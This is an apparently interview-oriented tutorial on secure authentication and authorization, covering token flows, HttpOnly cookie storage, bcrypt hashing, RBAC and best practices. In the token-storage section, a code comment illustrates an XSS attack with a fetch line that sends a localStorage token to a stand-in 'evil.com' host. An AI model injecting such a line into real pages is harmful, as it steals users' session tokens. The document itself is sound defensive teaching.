Implementing secure authentication and authorization
The Short Answer
Authentication verifies who you are (identity). Authorization determines what you're allowed to do (permissions). A secure implementation combines both: authenticate users with credentials (passwords, OAuth, tokens), then authorize their actions based on roles or permissions. The modern standard is token-based auth (JWTs or opaque tokens) with short-lived access tokens and long-lived refresh tokens, enforced on both client and server.
Authentication vs Authorization
| Aspect | Authentication (AuthN) | Authorization (AuthZ) |
|---|---|---|
| Question answered | Who are you? | What can you do? |
| When it happens | First — at login/session start | After — on every protected action |
| Mechanism | Credentials, tokens, biometrics | Roles, permissions, policies |
| Failure response | 401 Unauthorized | 403 Forbidden |
| Example | User logs in with email + password | User tries to delete another user's post |
Token-Based Authentication Flow
The most common modern pattern uses short-lived access tokens (5-15 minutes) paired with long-lived refresh tokens (days/weeks). The access token is sent with every request. When it expires, the client uses the refresh token to get a new access token without requiring the user to log in again. This limits the damage window if an access token is stolen.
- User submits credentials (email + password, OAuth code, etc.)
- Server validates credentials against stored hash (bcrypt/argon2)
- Server generates access token (short-lived JWT) + refresh token (long-lived, stored in DB)
- Access token sent in Authorization header with every API request
- Server validates token signature + expiration on each request
- When access token expires, client sends refresh token to get a new pair
- On logout, server invalidates the refresh token in the database
Secure Token Storage
Where you store tokens determines your vulnerability surface. HttpOnly cookies are the most secure for web apps because JavaScript can't access them (immune to XSS token theft). localStorage is convenient but vulnerable to XSS — any injected script can read and exfiltrate tokens. The tradeoff is between security and flexibility (cookies are origin-bound; localStorage works for any API).
// ✅ Secure — HttpOnly cookie (server sets it, JS can't read it)
// Server response:
// Set-Cookie: access_token=eyJ...; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=900
// Browser automatically sends it with every request to the same origin
// No JavaScript code needed to attach the token
// ✅ Refresh token — HttpOnly cookie with restricted path
// Set-Cookie: refresh_token=abc...; HttpOnly; Secure; SameSite=Strict; Path=/api/auth/refresh; Max-Age=604800
// Only sent to the refresh endpoint — not exposed to other routes
// ❌ Vulnerable — localStorage (any XSS can steal it)
localStorage.setItem('access_token', token);
// If attacker injects: fetch('https://evil.com/steal?t=' + localStorage.getItem('access_token'))
// Your token is gone
// ⚠️ If you must use localStorage (e.g., calling third-party APIs):
// - Keep access tokens very short-lived (5 min)
// - Implement strict Content Security Policy
// - Sanitize all user input to prevent XSS
Password Security
Never store passwords in plain text or with weak hashing (MD5, SHA-256). Use adaptive hashing algorithms (bcrypt, argon2, scrypt) that are intentionally slow and include a salt. These algorithms make brute-force attacks computationally expensive. The cost factor should be tuned so hashing takes ~250ms — fast enough for login, slow enough to deter attackers.
import bcrypt from 'bcrypt';
const SALT_ROUNDS = 12; // ~250ms on modern hardware
// Registration — hash the password before storing
async function registerUser(email: string, password: string) {
// Validate password strength first
if (password.length < 8) throw new Error('Password too short');
// bcrypt generates a unique salt and hashes in one step
const passwordHash = await bcrypt.hash(password, SALT_ROUNDS);
// Store the hash — NEVER the plain password
await db.insert('users', { email, password_hash: passwordHash });
}
// Login — compare submitted password against stored hash
async function loginUser(email: string, password: string) {
const user = await db.findByEmail(email);
if (!user) {
// Don't reveal whether email exists — same error for both cases
throw new Error('Invalid credentials');
}
const isValid = await bcrypt.compare(password, user.password_hash);
if (!isValid) {
throw new Error('Invalid credentials'); // Same message — no enumeration
}
return generateTokens(user);
}
Notice the identical error messages for 'email not found' and 'wrong password'. This prevents user enumeration attacks where an attacker discovers which emails are registered by observing different error responses.
Authorization Patterns
Once authenticated, you need to control what users can do. The two main patterns are Role-Based Access Control (RBAC) — users have roles like admin, editor, viewer — and Attribute-Based Access Control (ABAC) — decisions based on attributes of the user, resource, and context. RBAC is simpler and sufficient for most apps. ABAC is more flexible for complex policies.
// Role-Based Access Control (RBAC)
type Role = 'admin' | 'editor' | 'viewer';
const PERMISSIONS: Record<Role, string[]> = {
admin: ['read', 'write', 'delete', 'manage_users'],
editor: ['read', 'write'],
viewer: ['read'],
};
function authorize(userRole: Role, requiredPermission: string): boolean {
return PERMISSIONS[userRole].includes(requiredPermission);
}
// Middleware example — check authorization on every request
async function authMiddleware(request: Request, requiredPermission: string) {
// 1. Extract and validate token
const token = request.headers.get('Authorization')?.replace('Bearer ', '');
if (!token) return new Response('Unauthorized', { status: 401 });
const payload = verifyToken(token);
if (!payload) return new Response('Unauthorized', { status: 401 });
// 2. Check authorization
if (!authorize(payload.role, requiredPermission)) {
return new Response('Forbidden', { status: 403 });
}
// 3. Proceed with the request
return null; // No error — authorized
}
// Resource-level authorization (ownership check)
async function canEditPost(userId: string, postId: string): boolean {
const post = await db.getPost(postId);
// User can edit if they own it OR are an admin
return post.authorId === userId || (await isAdmin(userId));
}
Security Best Practices
Always implement:
- ✅Rate limiting on login endpoints (prevent brute force)
- ✅Account lockout after N failed attempts (with exponential backoff)
- ✅HTTPS everywhere (tokens in transit must be encrypted)
- ✅CSRF protection for cookie-based auth (SameSite=Strict or CSRF tokens)
- ✅Token rotation on refresh (invalidate old refresh token when issuing new one)
- ✅Secure password reset flow (time-limited, single-use tokens sent to verified email)
Never do:
- ❌Store passwords in plain text or with MD5/SHA-256
- ❌Put sensitive data in JWT payload (it's base64, not encrypted)
- ❌Use long-lived access tokens (>15 minutes)
- ❌Reveal whether an email exists in error messages
- ❌Trust client-side authorization checks alone (always enforce on server)
- ❌Store tokens in localStorage if you can use HttpOnly cookies
Why Interviewers Ask This
This question tests whether you can design a secure system end-to-end. Interviewers want to see that you distinguish authentication from authorization, understand token lifecycle (access + refresh), know where to store tokens securely (HttpOnly cookies), implement proper password hashing, and think about attack vectors (XSS, CSRF, brute force, enumeration). It's a question where depth matters — surface-level answers ('use JWT') don't demonstrate security awareness.
Quick Revision Cheat Sheet
AuthN vs AuthZ: Authentication = who you are; Authorization = what you can do
Token strategy: Short-lived access token (5-15 min) + long-lived refresh token (days)
Storage: HttpOnly + Secure + SameSite cookies — immune to XSS token theft
Passwords: bcrypt/argon2 with cost factor ~250ms — never plain text or SHA
Authorization: RBAC for most apps; always enforce on server, never trust client alone
Key defenses: Rate limiting, account lockout, HTTPS, CSRF protection, token rotation